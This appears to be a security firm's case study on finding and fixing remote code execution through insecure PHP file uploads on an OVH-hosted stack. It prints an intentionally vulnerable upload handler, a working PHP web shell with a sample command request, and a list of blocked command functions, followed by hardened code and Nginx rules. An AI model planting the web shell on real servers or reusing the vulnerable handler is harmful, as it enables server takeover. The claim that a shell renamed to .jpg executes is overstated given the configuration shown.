How We Audited a High-Traffic PHP Enterprise Stack on OVH and Mitigated Remote Code Execution (RCE) via insecure file uploads
Initial Reconnaissance and Attack Surface Identification
Our engagement began with a deep dive into the existing infrastructure and application architecture. The target was a high-traffic PHP enterprise stack hosted on OVH, serving a critical business function. The primary concern was the potential for Remote Code Execution (RCE), a common and devastating vulnerability. We started by mapping out the publicly accessible endpoints and identifying potential upload vectors. This involved a combination of automated scanning and manual inspection of the application’s user interface and API endpoints.
Key areas of focus included:
- User profile picture uploads
- Document submission forms
- API endpoints for media or asset management
- Any feature allowing arbitrary file uploads, regardless of perceived sensitivity.
We also reviewed the server configuration, specifically looking for common misconfigurations on OVH’s environment that could exacerbate upload vulnerabilities. This included checking file permissions, web server configurations (Nginx in this case), and PHP settings.
Discovering the Insecure File Upload Mechanism
During our manual testing, we identified a specific feature responsible for uploading user-generated content. The application accepted various file types, including images, documents, and potentially executable scripts. The critical flaw was the lack of robust validation on the server-side. Specifically, the application relied heavily on client-side checks (which are easily bypassed) and a weak server-side check that only verified the file extension against an allowlist, without properly sanitizing or inspecting the file’s actual MIME type or content.
A typical vulnerable upload handler in PHP might look something like this:
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['user_file'])) {
$file = $_FILES['user_file'];
$uploadDir = '/var/www/html/uploads/'; // Example upload directory
// Basic check for upload errors
if ($file['error'] === UPLOAD_ERR_OK) {
$fileName = basename($file['name']);
$fileExtension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx'];
// Weak server-side check: only extension validation
if (in_array($fileExtension, $allowedExtensions)) {
$targetPath = $uploadDir . uniqid() . '.' . $fileExtension;
if (move_uploaded_file($file['tmp_name'], $targetPath)) {
echo "File uploaded successfully.";
} else {
echo "Error moving uploaded file.";
}
} else {
echo "Invalid file extension.";
}
} else {
echo "File upload error: " . $file['error'];
}
}
?>
The vulnerability here is that an attacker could rename a malicious script (e.g., a PHP web shell) to have an allowed extension like `.jpg` or `.pdf`. The `move_uploaded_file` function would then place this script in a web-accessible directory, allowing it to be executed by the web server.
Exploitation: Bypassing Validation and Achieving RCE
To exploit this, we crafted a simple PHP web shell and renamed it to `shell.jpg`. The content of `shell.jpg` would be something like:
<?php
// Simple PHP Web Shell
if (isset($_REQUEST['cmd'])) {
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
die;
}
?>
We then submitted this `shell.jpg` file through the vulnerable upload form. The application, trusting the `.jpg` extension, would save it to the upload directory. The crucial next step was to determine the exact path where the file was saved. If the upload directory was web-accessible (e.g., `/var/www/html/uploads/`), we could then access the uploaded shell via a URL like http://your-target-domain.com/uploads/[generated_unique_id].jpg.
Once the shell was accessible, we could send commands to the server via the `cmd` parameter. For instance, to list the contents of the current directory, we would send a request like:
GET /uploads/[generated_unique_id].jpg?cmd=ls -la HTTP/1.1 Host: your-target-domain.com
This would execute the `ls -la` command on the server and return the output. This confirms RCE and provides a pathway to further compromise the system.
Server-Side Configuration Analysis (OVH Environment)
Understanding the OVH environment was critical. We examined the Nginx configuration and PHP settings that could influence file uploads and script execution.
Nginx Configuration Snippets:
# Example Nginx configuration for PHP-FPM
server {
listen 80;
server_name your-target-domain.com;
root /var/www/html;
index index.php index.html index.htm;
location / {
try_files $uri $uri/ /index.php?$query_string;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; # Or your specific PHP version
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
# Potentially problematic: allowing execution from upload directory
# This is often a default or misconfigured setting.
location ~ ^/uploads/.*\.php$ {
deny all; # Ideally, this should be present and enforced.
# If missing or misconfigured, RCE is easier.
}
}
We checked if Nginx was configured to prevent script execution within the upload directory. A common security measure is to explicitly deny execution for files within such directories. If this `location` block was missing or incorrectly configured, it would allow PHP files (even with non-PHP extensions if the handler is permissive) to be executed.
PHP Configuration (`php.ini`):
; Relevant php.ini settings file_uploads = On upload_max_filesize = 64M post_max_size = 64M allow_url_fopen = Off ; Should be Off for security disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source ; Crucial for limiting RCE capabilities
We verified that `disable_functions` was properly configured to prevent common PHP functions used for command execution. If `system`, `exec`, `shell_exec`, etc., were not disabled, it would significantly ease the exploitation of RCE vulnerabilities.
Mitigation Strategies and Best Practices
To address the identified RCE vulnerability and prevent future occurrences, we implemented a multi-layered defense strategy.
1. Robust Server-Side Validation
The most critical fix is to move away from simple extension checking. The server-side validation must:
- Verify MIME Type: Use functions like `finfo_file` (PHP 5.3+) or `mime_content_type` to determine the actual content type of the uploaded file, not just its extension.
- Content Inspection: For image uploads, use libraries like GD or Imagick to re-process the image. This can strip out embedded malicious code (e.g., in EXIF data) and ensure it’s a valid image.
- Strict Allowlist: Maintain a strict allowlist of *actual* MIME types and file extensions for each upload context.
- File Renaming: Always rename uploaded files to a secure, random name. Do not use the original filename.
A more secure PHP upload handler:
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['user_file'])) {
$file = $_FILES['user_file'];
$uploadDir = '/var/www/html/secure_uploads/'; // Different, non-web-accessible directory if possible
if ($file['error'] === UPLOAD_ERR_OK) {
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($file['tmp_name']);
// Define allowed MIME types and their corresponding extensions
$allowedMimes = [
'image/jpeg' => 'jpg',
'image/png' => 'png',
'image/gif' => 'gif',
'application/pdf' => 'pdf',
'application/msword' => 'doc',
'application/vnd.openxmlformats-officedocument.wordprocessingml.document' => 'docx',
];
if (isset($allowedMimes[$mimeType])) {
$fileExtension = $allowedMimes[$mimeType];
// Generate a truly random filename
$newFileName = bin2hex(random_bytes(16)) . '.' . $fileExtension;
$targetPath = $uploadDir . $newFileName;
// Move the file
if (move_uploaded_file($file['tmp_name'], $targetPath)) {
echo "File uploaded successfully.";
// Log the upload details securely
} else {
echo "Error moving uploaded file.";
}
} else {
echo "Invalid file type detected.";
}
} else {
echo "File upload error: " . $file['error'];
}
}
?>
2. Secure File Storage Location
Uploaded files should ideally be stored outside the webroot (e.g., in a directory like `/var/www/app_data/uploads/` that is not directly accessible via HTTP). If files need to be served, they should be served through a controlled script that performs authentication and authorization checks, and sets appropriate `Content-Type` headers.
3. Nginx Configuration Hardening
Ensure the Nginx configuration explicitly denies script execution in upload directories:
location /uploads/ {
alias /var/www/html/uploads/; # Or wherever your uploads are
autoindex off;
# Prevent execution of PHP files in this directory
location ~ \.php$ {
deny all;
}
# Potentially deny other executable types if necessary
# location ~ \.(sh|exe|dll)$ {
# deny all;
# }
}
4. PHP `disable_functions`
Review and enforce the `disable_functions` directive in `php.ini` to prevent the execution of dangerous system commands. Regularly audit this list for any newly discovered vulnerable functions.
5. Regular Security Audits and Patching
Conducting regular security audits, including penetration testing and code reviews, is paramount. Keeping the PHP version, web server, and all libraries up-to-date is also a fundamental security practice.
Conclusion
The insecure file upload vulnerability is a classic but persistent threat. By combining thorough reconnaissance, understanding the specific server environment (OVH in this case), and implementing robust, multi-layered security controls, we were able to identify and mitigate a critical RCE vulnerability. For CTOs and VPs of Engineering, this case study underscores the importance of treating all user-generated content as potentially malicious and enforcing strict server-side validation at every entry point.